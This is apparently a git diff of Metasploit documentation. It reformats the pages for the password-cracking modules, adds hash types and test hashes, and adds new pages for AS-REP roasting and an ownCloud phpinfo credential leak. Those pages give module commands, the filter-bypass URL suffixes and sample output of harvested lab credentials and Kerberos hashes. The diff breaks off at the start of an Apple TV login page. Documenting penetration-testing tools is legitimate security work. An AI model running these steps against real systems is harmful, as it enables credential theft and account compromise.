+`USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it. - **DeleteTempFiles** +### DeleteTempFiles - This option will prevent deletion of the wordlist and file containing hashes. This may be useful for - running the hashes through john if it wasn't cracked, or for debugging. Default is `false`. +This option will prevent deletion of the wordlist and file containing hashes. This may be useful for +running the hashes through john if it wasn't cracked, or for debugging. Default is `false`. - **Fork** +### Fork - This option will set how many forks to use on john the ripper. Default is `1` (no forking). +This option will set how many forks to use on john the ripper. Default is `1` (no forking). - **INCREMENTAL** +### INCREMENTAL - Run the cracker in incremental mode. Default is `true` +Run the cracker in incremental mode. Default is `true` - **ITERATION_TIMEOUT** +### ITERATION_TIMEOUT - The max-run-time for each iteration of cracking +The max-run-time for each iteration of cracking - **KORELOGIC** +### KORELOGIC - Apply the [KoreLogic rules](http://contest-2010.korelogic.com/rules.html) to Wordlist Mode (slower). - Default is `false`. +Apply the [KoreLogic rules](http://contest-2010.korelogic.com/rules.html) to Wordlist Mode (slower). +Default is `false`. - **MUTATE** +### MUTATE - Apply common mutations to the Wordlist (SLOW). Mutations are: +Apply common mutations to the Wordlist (SLOW). Mutations are: * `'@' => 'a'` * `'0' => 'o'` @@ -94,44 +94,44 @@ * `'1' => 'l'` * `'5' => 's'` - Default is `false`. +Default is `false`. - **POT** +### POT - The path to a John POT file (JtR option: `--pot`) to use instead. The `pot` file is the data file which - records cracked password hashes. Kali linux's default location is `/root/.john/john.pot`. - Default is `~/.msf4/john.pot`. +The path to a John POT file (JtR option: `--pot`) to use instead. The `pot` file is the data file which +records cracked password hashes. Kali linux's default location is `/root/.john/john.pot`. +Default is `~/.msf4/john.pot`. - **SHOWCOMMAND** +### SHOWCOMMAND - Show the command being used run from the command line for debugging. Default is `false` +Show the command being used run from the command line for debugging. Default is `false` - **USE_CREDS** +### USE_CREDS - Use existing credential data saved in the database. Default is `true`. +Use existing credential data saved in the database. Default is `true`. - **USE_DB_INFO** +### USE_DB_INFO - Use looted database schema info to seed the wordlist. This includes the Database Name, each Table Name, - and each Column Name. If the DB is MSSQL, the Instance Name is also used. Default is `true`. +Use looted database schema info to seed the wordlist. This includes the Database Name, each Table Name, +and each Column Name. If the DB is MSSQL, the Instance Name is also used. Default is `true`. - **USE_DEFAULT_WORDLIST** +### USE_DEFAULT_WORDLIST - Use the default metasploit wordlist in `metasploit-framework/data/wordlists/password.lst`. Default is - `true`. +Use the default metasploit wordlist in `metasploit-framework/data/wordlists/password.lst`. Default is +`true`. - **USE_HOSTNAMES** +### USE_HOSTNAMES Seed the wordlist with hostnames from the workspace. Default is `true`. - **USE_ROOT_WORDS** +### USE_ROOT_WORDS - Use the Common Root Words Wordlist in `metasploit-framework/data/wordlists/common_roots.txt`. Default - is true. +Use the Common Root Words Wordlist in `metasploit-framework/data/wordlists/common_roots.txt`. Default +is true. - **WORDLIST** +### WORDLIST - Run the cracker in dictionary/wordlist mode. Default is `true` +Run the cracker in dictionary/wordlist mode. Default is `true` ## Scenarios @@ -141,7 +141,9 @@ The following is data which can be used to test integration, including adding en to a wordlist and pot file to test various aspects of the cracker. ``` -creds add user:androidsha1 hash:D1B19A90B87FC10C304E657F37162445DAE27D16:a006983800cc3dd1 jtr:android-sha1 +creds add user:samsungsha1 hash:D1B19A90B87FC10C304E657F37162445DAE27D16:a006983800cc3dd1 jtr:android-samsung-sha1 +creds add user:androidsha1 hash:9860A48CA459D054F3FEF0F8518CF6872923DAE2:81fcb23bcadd6c5 jtr:android-sha1 +creds add user:androidmd5 hash:1C0A0FDB673FBA36BEAEB078322C7393:81fcb23bcadd6c5 jtr:android-md5 ``` ### Hashcat diff --git a/documentation/modules/auxiliary/analyze/crack_osx.md b/documentation/modules/auxiliary/analyze/crack_osx.md index 873cac0668..46614a0189 100644 --- a/documentation/modules/auxiliary/analyze/crack_osx.md +++ b/documentation/modules/auxiliary/analyze/crack_osx.md @@ -8,7 +8,7 @@ * `PBKDF2-HMAC-SHA512` based passwords (10.8+) | Common | John | Hashcat | -|--------------------|--------------------|---------| +| ------------------ | ------------------ | ------- | | xsha | xsha | 122 | | xsha512 | xsha512 | 1722 | | pbkdf2-hmac-sha512 | pbkdf2-hmac-sha512 | 7100 | @@ -27,54 +27,54 @@ ## Actions - **john** +### john - Use john the ripper (default). +Use john the ripper (default). - **hashcat** +### hashcat - Use hashcat. +Use hashcat. ## Options - **CONFIG** +### CONFIG - The path to a John config file (JtR option: `--config`). Default is `metasploit-framework/data/john.conf` +The path to a John config file (JtR option: `--config`). Default is `metasploit-framework/data/john.conf` - **CRACKER_PATH** +### CRACKER_PATH - The absolute path to the cracker executable. Default behavior is to search `path`. +The absolute path to the cracker executable. Default behavior is to search `path`. - **CUSTOM_WORDLIST** +### CUSTOM_WORDLIST - The path to an optional custom wordlist. This file is added to the new wordlist which may include the other - `USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it. +The path to an optional custom wordlist. This file is added to the new wordlist which may include the other +`USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it. - **DeleteTempFiles** +### DeleteTempFiles - This option will prevent deletion of the wordlist and file containing hashes. This may be useful for - running the hashes through john if it wasn't cracked, or for debugging. Default is `false`. +This option will prevent deletion of the wordlist and file containing hashes. This may be useful for +running the hashes through john if it wasn't cracked, or for debugging. Default is `false`. - **Fork** +### Fork - This option will set how many forks to use on john the ripper. Default is `1` (no forking). +This option will set how many forks to use on john the ripper. Default is `1` (no forking). - **INCREMENTAL** +### INCREMENTAL - Run the cracker in incremental mode. Default is `true` +Run the cracker in incremental mode. Default is `true` - **ITERATION_TIMEOUT** +### ITERATION_TIMEOUT - The max-run-time for each iteration of cracking. +The max-run-time for each iteration of cracking. - **KORELOGIC** +### KORELOGIC - Apply the [KoreLogic rules](http://contest-2010.korelogic.com/rules.html) to Wordlist Mode (slower). - Default is `false`. +Apply the [KoreLogic rules](http://contest-2010.korelogic.com/rules.html) to Wordlist Mode (slower). +Default is `false`. - **MUTATE** +### MUTATE - Apply common mutations to the Wordlist (SLOW). Mutations are: +Apply common mutations to the Wordlist (SLOW). Mutations are: * `'@' => 'a'` * `'0' => 'o'` @@ -84,52 +84,52 @@ * `'1' => 'l'` * `'5' => 's'` - Default is `false`. +Default is `false`. - **PBKDF2-HMAC-SHA512** +### PBKDF2-HMAC-SHA512 - Crack SHA12 hashes. Default is `true`. +Crack SHA12 hashes. Default is `true`. - **POT** +### POT - The path to a John POT file (JtR option: `--pot`) to use instead. The `pot` file is the data file which - records cracked password hashes. Kali linux's default location is `/root/.john/john.pot`. - Default is `~/.msf4/john.pot`. +The path to a John POT file (JtR option: `--pot`) to use instead. The `pot` file is the data file which +records cracked password hashes. Kali linux's default location is `/root/.john/john.pot`. +Default is `~/.msf4/john.pot`. - **SHOWCOMMAND** +### SHOWCOMMAND - Show the command being used run from the command line for debugging. Default is `false` +Show the command being used run from the command line for debugging. Default is `false` - **USE_CREDS** +### USE_CREDS - Use existing credential data saved in the database. Default is `true`. +Use existing credential data saved in the database. Default is `true`. - **USE_DB_INFO** +### USE_DB_INFO - Use looted database schema info to seed the wordlist. This includes the Database Name, each Table Name, - and each Column Name. If the DB is MSSQL, the Instance Name is also used. Default is `true`. +Use looted database schema info to seed the wordlist. This includes the Database Name, each Table Name, +and each Column Name. If the DB is MSSQL, the Instance Name is also used. Default is `true`. - **USE_DEFAULT_WORDLIST** +### USE_DEFAULT_WORDLIST - Use the default metasploit wordlist in `metasploit-framework/data/wordlists/password.lst`. Default is - `true`. +Use the default metasploit wordlist in `metasploit-framework/data/wordlists/password.lst`. Default is +`true`. - **USE_HOSTNAMES** +### USE_HOSTNAMES - Seed the wordlist with hostnames from the workspace. Default is `true`. +Seed the wordlist with hostnames from the workspace. Default is `true`. - **USE_ROOT_WORDS** +### USE_ROOT_WORDS - Use the Common Root Words Wordlist in `metasploit-framework/data/wordlists/common_roots.txt`. Default - is true. +Use the Common Root Words Wordlist in `metasploit-framework/data/wordlists/common_roots.txt`. Default +is true. - **WORDLIST** +### WORDLIST - Run the cracker in dictionary/wordlist mode. Default is `true` +Run the cracker in dictionary/wordlist mode. Default is `true` - **XSHA** +### XSHA - Crack xsha based hashes. Default is `true`. +Crack xsha based hashes. Default is `true`. ## Scenarios diff --git a/documentation/modules/auxiliary/analyze/crack_webapps.md b/documentation/modules/auxiliary/analyze/crack_webapps.md index 2c85b11bb7..2b45fdf3e8 100644 --- a/documentation/modules/auxiliary/analyze/crack_webapps.md +++ b/documentation/modules/auxiliary/analyze/crack_webapps.md @@ -8,7 +8,7 @@ * `mediawiki` based passwords | Common | John | Hashcat | -|-----------|------------------|-------- | +| --------- | ---------------- | ------- | | atlassian | PBKDF2-HMAC-SHA1 | 12001 | | mediawiki | mediawiki | 3711 | | phpass | phpass | 400 | @@ -27,63 +27,63 @@ ## Actions - **john** +### john - Use john the ripper (default). +Use john the ripper (default). - **hashcat** +### hashcat - Use hashcat. +Use hashcat. ## Options - **ATLASSIAN** +### ATLASSIAN - Crack atlassian hashes. Default is `true`. +Crack atlassian hashes. Default is `true`. - **CONFIG** +### CONFIG - The path to a John config file (JtR option: `--config`). Default is `metasploit-framework/data/john.conf` +The path to a John config file (JtR option: `--config`). Default is `metasploit-framework/data/john.conf` - **CRACKER_PATH** +### CRACKER_PATH - The absolute path to the cracker executable. Default behavior is to search `path`. +The absolute path to the cracker executable. Default behavior is to search `path`. - **CUSTOM_WORDLIST** +### CUSTOM_WORDLIST - The path to an optional custom wordlist. This file is added to the new wordlist which may include the other - `USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it. +The path to an optional custom wordlist. This file is added to the new wordlist which may include the other +`USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it. - **DeleteTempFiles** +### DeleteTempFiles - This option will prevent deletion of the wordlist and file containing hashes. This may be useful for - running the hashes through john if it wasn't cracked, or for debugging. Default is `false`. +This option will prevent deletion of the wordlist and file containing hashes. This may be useful for +running the hashes through john if it wasn't cracked, or for debugging. Default is `false`. - **Fork** +### Fork - This option will set how many forks to use on john the ripper. Default is `1` (no forking). +This option will set how many forks to use on john the ripper. Default is `1` (no forking). - **INCREMENTAL** +### INCREMENTAL - Run the cracker in incremental mode. Default is `true` +Run the cracker in incremental mode. Default is `true` - **ITERATION_TIMEOUT** +### ITERATION_TIMEOUT - The max-run-time for each iteration of cracking. +The max-run-time for each iteration of cracking. - **KORELOGIC** +### KORELOGIC - Apply the [KoreLogic rules](http://contest-2010.korelogic.com/rules.html) to Wordlist Mode (slower). - Default is `false`. +Apply the [KoreLogic rules](http://contest-2010.korelogic.com/rules.html) to Wordlist Mode (slower). +Default is `false`. - **MEDIAWIKI** +### MEDIAWIKI - Crack mediawiki hashes. Default is `true`. +Crack mediawiki hashes. Default is `true`. - **MUTATE** +### MUTATE - Apply common mutations to the Wordlist (SLOW). Mutations are: +Apply common mutations to the Wordlist (SLOW). Mutations are: * `'@' => 'a'` * `'0' => 'o'` @@ -93,48 +93,48 @@ * `'1' => 'l'` * `'5' => 's'` - Default is `false`. +Default is `false`. - **PHPASS** +### PHPASS - Crack PHPASS hashes. Default is `true`. +Crack PHPASS hashes. Default is `true`. - **POT** +### POT - The path to a John POT file (JtR option: `--pot`) to use instead. The `pot` file is the data file which - records cracked password hashes. Kali linux's default location is `/root/.john/john.pot`. - Default is `~/.msf4/john.pot`. +The path to a John POT file (JtR option: `--pot`) to use instead. The `pot` file is the data file which +records cracked password hashes. Kali linux's default location is `/root/.john/john.pot`. +Default is `~/.msf4/john.pot`. - **SHOWCOMMAND** +### SHOWCOMMAND - Show the command being used run from the command line for debugging. Default is `false` +Show the command being used run from the command line for debugging. Default is `false` - **USE_CREDS** +### USE_CREDS - Use existing credential data saved in the database. Default is `true`. +Use existing credential data saved in the database. Default is `true`. - **USE_DB_INFO** +### USE_DB_INFO - Use looted database schema info to seed the wordlist. This includes the Database Name, each Table Name, - and each Column Name. If the DB is MSSQL, the Instance Name is also used. Default is `true`. +Use looted database schema info to seed the wordlist. This includes the Database Name, each Table Name, +and each Column Name. If the DB is MSSQL, the Instance Name is also used. Default is `true`. - **USE_DEFAULT_WORDLIST** +### USE_DEFAULT_WORDLIST - Use the default metasploit wordlist in `metasploit-framework/data/wordlists/password.lst`. Default is - `true`. +Use the default metasploit wordlist in `metasploit-framework/data/wordlists/password.lst`. Default is +`true`. - **USE_HOSTNAMES** +### USE_HOSTNAMES - Seed the wordlist with hostnames from the workspace. Default is `true`. +Seed the wordlist with hostnames from the workspace. Default is `true`. - **USE_ROOT_WORDS** +### USE_ROOT_WORDS - Use the Common Root Words Wordlist in `metasploit-framework/data/wordlists/common_roots.txt`. Default - is true. +Use the Common Root Words Wordlist in `metasploit-framework/data/wordlists/common_roots.txt`. Default +is true. - **WORDLIST** +### WORDLIST - Run the cracker in dictionary/wordlist mode. Default is `true` +Run the cracker in dictionary/wordlist mode. Default is `true` ## Scenarios diff --git a/documentation/modules/auxiliary/analyze/crack_windows.md b/documentation/modules/auxiliary/analyze/crack_windows.md index b15187149d..ed6c0c2cfd 100644 --- a/documentation/modules/auxiliary/analyze/crack_windows.md +++ b/documentation/modules/auxiliary/analyze/crack_windows.md @@ -5,18 +5,25 @@ * `LANMAN` based passwords * `NTLM` based passwords + * `M$ CASH hashes (1 and 2)` based passwords + * `NETNTLM` and `NETNTLMV2` based passwords + +| Common | John | Hashcat | +| --------- | --------- | ------- | +| lanman | lm | 3000 | +| ntlm | nt | 1000 | +| mscash | mscash | 1100 | +| mscash2 | mscash2 | 2100 | +| netntlm | netntlm | 5500 | +| netntlmv2 | netntlmv2 | 5600 | -| Common | John | Hashcat | -|--------|----------|---------| -| lanman | lm | 3000 | -| ntlm | nt | 1000 | Sources of hashes can be found here: [source](https://openwall.info/wiki/john/sample-hashes), [source2](http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats) ## Verification Steps - 1. Have at least one user with an `ntlm`, or `lanman` password hash in the database + 1. Have at least one user with an uncracked windows based password hash in the database 2. Start msfconsole 3. Do: ```use auxiliary/analyze/crack_windows``` 4. Do: set cracker of choice @@ -25,58 +32,62 @@ ## Actions - **john** +### john - Use john the ripper (default). +Use john the ripper (default). - **hashcat** +### hashcat - Use hashcat. +Use hashcat. ## Options - **CONFIG** +### CONFIG - The path to a John config file (JtR option: `--config`). Default is `metasploit-framework/data/john.conf` +The path to a John config file (JtR option: `--config`). Default is `metasploit-framework/data/john.conf` - **CRACKER_PATH** +### CRACKER_PATH - The absolute path to the cracker executable. Default behavior is to search `path`. +The absolute path to the cracker executable. Default behavior is to search `path`. - **CUSTOM_WORDLIST** +### CUSTOM_WORDLIST - The path to an optional custom wordlist. This file is added to the new wordlist which may include the other - `USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it. +The path to an optional custom wordlist. This file is added to the new wordlist which may include the other +`USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it. - **DeleteTempFiles** +### DeleteTempFiles - This option will prevent deletion of the wordlist and file containing hashes. This may be useful for - running the hashes through john if it wasn't cracked, or for debugging. Default is `false`. +This option will prevent deletion of the wordlist and file containing hashes. This may be useful for +running the hashes through john if it wasn't cracked, or for debugging. Default is `false`. - **Fork** +### Fork - This option will set how many forks to use on john the ripper. Default is `1` (no forking). +This option will set how many forks to use on john the ripper. Default is `1` (no forking). - **INCREMENTAL** +### INCREMENTAL - Run the cracker in incremental mode. Default is `true` +Run the cracker in incremental mode. Default is `true` - **ITERATION_TIMEOUT** +### ITERATION_TIMEOUT - The max-run-time for each iteration of cracking. +The max-run-time for each iteration of cracking. - **KORELOGIC** +### KORELOGIC - Apply the [KoreLogic rules](http://contest-2010.korelogic.com/rules.html) to Wordlist Mode (slower). - Default is `false`. +Apply the [KoreLogic rules](http://contest-2010.korelogic.com/rules.html) to Wordlist Mode (slower). +Default is `false`. - **LANMAN** +### LANMAN - Crack LANMAN hashes. Default is `true`. +Crack LANMAN hashes. Default is `true`. - **MUTATE** +### MSCASH - Apply common mutations to the Wordlist (SLOW). Mutations are: +Crack MSCASH hashes. Default is `true`. + +### MUTATE + +Apply common mutations to the Wordlist (SLOW). Mutations are: * `'@' => 'a'` * `'0' => 'o'` @@ -86,48 +97,56 @@ * `'1' => 'l'` * `'5' => 's'` - Default is `false`. +Default is `false`. - **NTLM** +### NETNTLM - Crack NTLM hashes. Default is `true`. +Crack NETNTLM hashes. Default is `true`. - **POT** +### NETNTLMV2 - The path to a John POT file (JtR option: `--pot`) to use instead. The `pot` file is the data file which - records cracked password hashes. Kali linux's default location is `/root/.john/john.pot`. - Default is `~/.msf4/john.pot`. +Crack NETNTLMV2 hashes. Default is `true`. - **SHOWCOMMAND** +### NTLM - Show the command being used run from the command line for debugging. Default is `false` +Crack NTLM hashes. Default is `true`. - **USE_CREDS** +### POT - Use existing credential data saved in the database. Default is `true`. +The path to a John POT file (JtR option: `--pot`) to use instead. The `pot` file is the data file which +records cracked password hashes. Kali linux's default location is `/root/.john/john.pot`. +Default is `~/.msf4/john.pot`. - **USE_DB_INFO** +### SHOWCOMMAND - Use looted database schema info to seed the wordlist. This includes the Database Name, each Table Name, - and each Column Name. If the DB is MSSQL, the Instance Name is also used. Default is `true`. +Show the command being used run from the command line for debugging. Default is `false` - **USE_DEFAULT_WORDLIST** +### USE_CREDS - Use the default metasploit wordlist in `metasploit-framework/data/wordlists/password.lst`. Default is - `true`. +Use existing credential data saved in the database. Default is `true`. - **USE_HOSTNAMES** +### USE_DB_INFO - Seed the wordlist with hostnames from the workspace. Default is `true`. +Use looted database schema info to seed the wordlist. This includes the Database Name, each Table Name, +and each Column Name. If the DB is MSSQL, the Instance Name is also used. Default is `true`. - **USE_ROOT_WORDS** +### USE_DEFAULT_WORDLIST - Use the Common Root Words Wordlist in `metasploit-framework/data/wordlists/common_roots.txt`. Default - is true. +Use the default metasploit wordlist in `metasploit-framework/data/wordlists/password.lst`. Default is +`true`. - **WORDLIST** +### USE_HOSTNAMES - Run the cracker in dictionary/wordlist mode. Default is `true` +Seed the wordlist with hostnames from the workspace. Default is `true`. + +### USE_ROOT_WORDS + +Use the Common Root Words Wordlist in `metasploit-framework/data/wordlists/common_roots.txt`. Default +is `true`. + +### WORDLIST + +Run the cracker in dictionary/wordlist mode. Default is `true` ## Scenarios @@ -141,6 +160,11 @@ creds add user:lm_password ntlm:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb11 creds add user:lm2_password ntlm:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c jtr:lm creds add user:lm2_pot_password ntlm:e52cac67419fafe2fafe108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c jtr:lm creds add user:nt_password ntlm:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c jtr:nt +creds add user:u4-netntlm hash:u4-netntlm::kNS:338d08f8e26de93300000000000000000000000000000000:9526fb8c23a90751cdd619b6cea564742e1e4bf33006ba41:cb8086049ec4736c jtr:netntlm +creds add user:admin hash:admin::N46iSNekpT:08ca45b7d7ea58ee:88dcbe4446168966a153a0064958dac6:5c7830315c7830310000000000000b45c67103d07d7b95acd12ffa11230e0000000052920b85f78d013c31cdb3b92f5d765c783030 jtr:netntlmv2 +creds add user:mscash-hashcat hash:M$test1#64cd29e36a8431a2b111378564a10631 jtr:mscash +creds add user:mscash2-hashcat hash:$DCC2$10240#tom#e4e938d12fe5974dc42a90120bd9c90f jtr:mscash2 + echo "" > /root/.msf4/john.pot echo "\$LM\$E52CAC67419FAFE2:passwor" >> /root/.msf4/john.pot echo "\$LM\$FAFE108F3FA6CB6D:d" >> /root/.msf4/john.pot diff --git a/documentation/modules/auxiliary/gather/asrep.md b/documentation/modules/auxiliary/gather/asrep.md new file mode 100755 index 0000000000..7705a283de --- /dev/null +++ b/documentation/modules/auxiliary/gather/asrep.md @@ -0,0 +1,74 @@ +## ASREP-roast + +The `auxiliary/gather/asrep` module can be used to find users who have Pre-authentication disabled, +and retrieve credentials that can be cracked using a hash-cracking tool. + +The following ACTIONS are supported: + +- **BRUTE_FORCE**: Make TGT requests for all usernames in a given file. This does not require + valid domain credentials. +- **LDAP**: Request the set of users with pre-authentication disabled using an LDAP query, and + then request TGTs for these users. + +## Module usage + +- Start `msfconsole` +- Do: `use auxiliary/gather/asrep` +- Do: `run action=BRUTE_FORCE user_file= rhost= domain= rhostname=` +- The module will attempt to request TGTs for each of the users in the file. This should not lock out accounts. + A crackable value will be displayed for all identified accounts. +- Do: `run action=LDAP rhost= username= password= domain= rhostname=` +- The module will use LDAP to request the users without pre-auth required, and request TGTs for these users. + A crackable value will be displayed for all identified accounts. + +## Options + +### DOMAIN +The Fully Qualified Domain Name (FQDN). Ex: mydomain.local. + +### USER_FILE +The file containing a list of usernames, each on a new line. + +### Rhostname + +The hostname of the domain controller. Must be accurate otherwise the module will silently fail, even if users exist without pre-auth required. + +### USE_RC4_HMAC +Request a ticket with the lower-security, more easily crackable, RC4_HMAC encryption type. This is +usually preferable, but may be less stealthy. + +## Scenarios + +### Brute forcing users + +An example of brute forcing usernames, in the hope of finding one with pre-auth not required: + +```msf +msf6 auxiliary(gather/asrep) > run action=BRUTE_FORCE user_file=/tmp/users.txt rhost=192.168.1.1 domain=msf.local rhostname=dc22 +[*] Running module against 192.168.1.1 + +$krb5asrep$23$user@MSF.LOCAL:9fb9954fa32193185ab32e2de2ab9f13$bf14e834c661246cad302073c228e6ff7894cd3023665f0f84338432c3929922ae998c4a23bb9d163dda536a230d0503b2cf575389317b52bde782264940e80206a29e9613e47328228441cf013fb1f6672359f6799be97b962de9429e8859f437e53549be6b11ca07af6f09eae6cd78279af6d7f6dcdfd011eccb74b4aa753b2f9e6561c59c9408ee4bec983777908f3a7eef5fba977710e47e4e8ac0af10608a7dd23db506202b27d7892bc28426d2080c343edfe243bf1cae554cf6204733082332be2455e4674e1c3e84614818a6c15b54221dcaa832 + +[*] Query returned 1 result. +[*] Auxiliary module execution completed +``` + +### Using LDAP + +``` +msf6 auxiliary(gather/asrep) > run action=LDAP rhost=192.168.1.1 username=azureadmin password=password ldap::auth=kerberos domain=msf.local domaincontrollerrhost=192.168.1.1 rhostname=dc22 +[*] Running module against 192.168.1.1 + +[+] 192.168.1.1:88 - Received a valid TGT-Response +[*] 192.168.1.1:389 - TGT MIT Credential Cache ticket saved to /home/smash/.msf4/loot/20231124083018_default_192.168.1.1_mit.kerberos.cca_409871.bin +[+] 192.168.1.1:88 - Received a valid TGS-Response +[*] 192.168.1.1:389 - TGS MIT Credential Cache ticket saved to /home/smash/.msf4/loot/20231124083018_default_192.168.1.1_mit.kerberos.cca_923760.bin +[+] 192.168.1.1:88 - Received a valid delegation TGS-Response +[+] 192.168.1.1:389 Discovered base DN: DC=msf,DC=local +[+] 192.168.1.1:389 Discovered schema DN: DC=msf,DC=local + +$krb5asrep$23$user@MSF.LOCAL:234e56b15bf3a0e3eb93d662ea6ded74$9889b0a449154c1353ea4db388af29381ad367771e2fe7d6a5644180e9f7ca0b1e836fc864f6d240e9ef91124edb13797dcb097f68c537279f80e3fc3c5c86f8f937af23bb2fd58274dd40ea184994cf31de50f508faac86c61749032b2d9e4ae4c74b0f76a0c242497e6765ddfba9c57743b19d4bb97aa3ef3b66cee50a1d3871b0b4ecd3f97d42781b6fb3d8839d8805ae1291d0e9ba07d374ed84ea39fadab548c2b40c87288b4465f234d0c3341e3b27c193a62a3ad7b0bdf04dbe5bf03815d48f766d1c727838f92dd36c437782975a978aefcb33e9 + +[*] Query returned 1 result. +[*] Auxiliary module execution completed +``` \ No newline at end of file diff --git a/documentation/modules/auxiliary/gather/owncloud_phpinfo_reader.md b/documentation/modules/auxiliary/gather/owncloud_phpinfo_reader.md new file mode 100644 index 0000000000..d5ca7e07a4 --- /dev/null +++ b/documentation/modules/auxiliary/gather/owncloud_phpinfo_reader.md @@ -0,0 +1,162 @@ +## Vulnerable Application + +Docker containers of ownCloud compiled after February 2023, which have version 0.2.0 before 0.2.1 or 0.3.0 before 0.3.1 of the app `graph` installed +contain a test file which prints `phpinfo()` to an unauthenticated user. A post file name must be appended to the URL to bypass the login filter. +Docker may export sensitive environment variables including ownCloud, DB, redis, SMTP, and S3 credentials, as well as other host information. + +### Docker-Compose Build + +Using docker-compose we can build a fairly robust system with plenty of information to pilfer. + +Based off of [Ron Bowes Blog Post](https://www.labs.greynoise.io//grimoire/2023-11-29-owncloud-redux/) + +A list of environment variables is posted [here](https://github.com/owncloud-docker/base/blob/master/ENVIRONMENT.md#environment-variables) + +``` +version: "3" + +services: + owncloud: + image: owncloud/server:10.12.1 + container_name: owncloud_server + restart: always + ports: + - 8080:8080 + depends_on: + - mariadb + - redis + environment: + - OWNCLOUD_DOMAIN=localhost:8080 + - OWNCLOUD_TRUSTED_DOMAINS=localhost + - OWNCLOUD_DB_TYPE=mysql + - OWNCLOUD_DB_NAME=owncloud + - OWNCLOUD_DB_USERNAME=owncloud + - OWNCLOUD_DB_PASSWORD=owncloud + - OWNCLOUD_DB_HOST=mariadb + - OWNCLOUD_ADMIN_USERNAME=admin_username + - OWNCLOUD_ADMIN_PASSWORD=admin_password + - OWNCLOUD_MYSQL_UTF8MB4=true + - OWNCLOUD_REDIS_ENABLED=true + - OWNCLOUD_REDIS_HOST=redis + - APACHE_LOG_LEVEL=trace6 + - OWNCLOUD_MAIL_SMTP_PASSWORD=smtp_password + - OWNCLOUD_MAIL_SMTP_NAME=smtp_username + - OWNCLOUD_LICENSE_KEY=1122333 + - OWNCLOUD_OBJECTSTORE_KEY=owncloud123456 + - OWNCLOUD_OBJECTSTORE_SECRET=secret123456 + - OWNCLOUD_OBJECTSTORE_REGION=us-east-1 + healthcheck: + test: ["CMD", "/usr/bin/healthcheck"] + interval: 30s + timeout: 10s + retries: 5 + + mariadb: + image: mariadb:10.11 # minimum required ownCloud version is 10.9 + container_name: owncloud_mariadb + restart: always + environment: + - MYSQL_ROOT_PASSWORD=owncloud + - MYSQL_USER=owncloud + - MYSQL_PASSWORD=owncloud + - MYSQL_DATABASE=owncloud + - MARIADB_AUTO_UPGRADE=1 + command: ["--max-allowed-packet=128M", "--innodb-log-file-size=64M"] + healthcheck: + test: ["CMD", "mysqladmin", "ping", "-u", "root", "--password=owncloud"] + interval: 10s + timeout: 5s + retries: 5 + + redis: + image: redis:6 + container_name: owncloud_redis + restart: always + command: ["--databases", "1"] + healthcheck: + test: ["CMD", "redis-cli", "ping"] + interval: 10s + timeout: 5s + retries: 5 +``` + +You may need to add an aditional entry to `OWNCLOUD_TRUSTED_DOMAINS` which has the IP address of the host, such as `OWNCLOUD_TRUSTED_DOMAINS=localhost,192.68.1.1` + +If the `graph` app needs to be installed, use the following instructions: + +``` +docker exec -it owncloud_server /bin/bash +cd apps +wget "$(curl 'https://marketplace.owncloud.com/ajax/apps/graphapi/0.3.0' | sed 's/\\//g' | cut -d '"' -f 4)" -O graphapi-0.3.0.tar.gz +rm -rf graphapi +tar -zxf graphapi-0.3.0.tar.gz +occ app:enable graphapi +``` + +## Verification Steps + +1. Install the application and plugin +1. Start msfconsole +1. Do: `use auxiliary/gather/owncloud_phpinfo_reader` +1. Do: `set rhost [ip]` +1. Do: `run` +1. You should information from the system configuration + +## Options + +### ROOT + +Root path of the URI, which is different than `TARGETURI` as its ownCloud specific. Defaults to `all` which will try `''` (empty), and `owncloud` + +### ENDFILE + +The file path to add to the end of hte URL, which is used to bypass filtering. Defaults to `all` which will try `/.css`, `/.js`, `/.svg`, +`/.gif`, `/.png`, `/.html`, `/.ttf`, `/.woff`, `/.ico`, `/.jpg`, `/.jpeg`, `/.json`, `/.properties`, `/.min.map`, `/.js.map`, `/.auto.map` + +## Scenarios + +### ownCloud 10.12.1 from Docker Compose + +``` +resource (owncloud.rb)> use auxiliary/gather/owncloud_phpinfo_reader +resource (owncloud.rb)> set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +resource (owncloud.rb)> set verbose true +verbose => true +resource (owncloud.rb)> run +[*] Running module against 127.0.0.1 +[*] Checking: /apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php/.css +[+] Found phpinfo page at: /apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php/.css +[+] Loot stored to: /home/h00die/.msf4/loot/20231203153109_default_127.0.0.1_owncloud.phpinfo_453632.txt +[+] License Key: 1122333 +[+] Hostname: b2b16d6f3ba6 +[+] Home: /root +[+] Server Root: /var/www/owncloud +[+] PWD: /var/www/owncloud +[+] SMTP Username: smtp_username +[+] SMTP Password: smtp_password +[+] ownCloud Username: admin_username +[+] ownCloud Password: admin_password +[+] DB Host: mariadb:3306 +[+] DB Username: owncloud +[+] DB Password: owncloud +[+] DB Name: owncloud +[+] Redis Host: redis +[+] Redis Port: 6379 +[+] Objectstore Endpoint: https://s3.us-east-1.amazonaws.com +[+] Objectstore Region: us-east-1 +[+] Objectsore Secret: secret123456 +[+] Objectstore Key: owncloud123456 +[+] Objectstore Bucket: owncloud +[+] Credentials +=========== + + Type Host Username Password Notes + ---- ---- -------- -------- ----- + S3 Object Store us-east-1 Key: owncloud123456 Secret: secret123456 Endpoint: https://s3.us-east-1.amazonaws.com, Bucket: owncloud + SMTP 127.0.0.1:25 smtp_username smtp_password + mysql 127.0.0.1:8080 owncloud owncloud + ownCloud 127.0.0.1:8080 admin_username admin_password + +[*] Auxiliary module execution completed +``` diff --git a/documentation/modules/auxiliary/scanner/http/appletv_login.md b/documentation/modules/auxiliary/scanner/http/appletv_login.md new file mode 100644 index 0000000000..687322780e --- /dev/null +++ b/documentation/modules/auxiliary/scanner/http/appletv_login.md @@ -0,0 +1,110 @@ +## 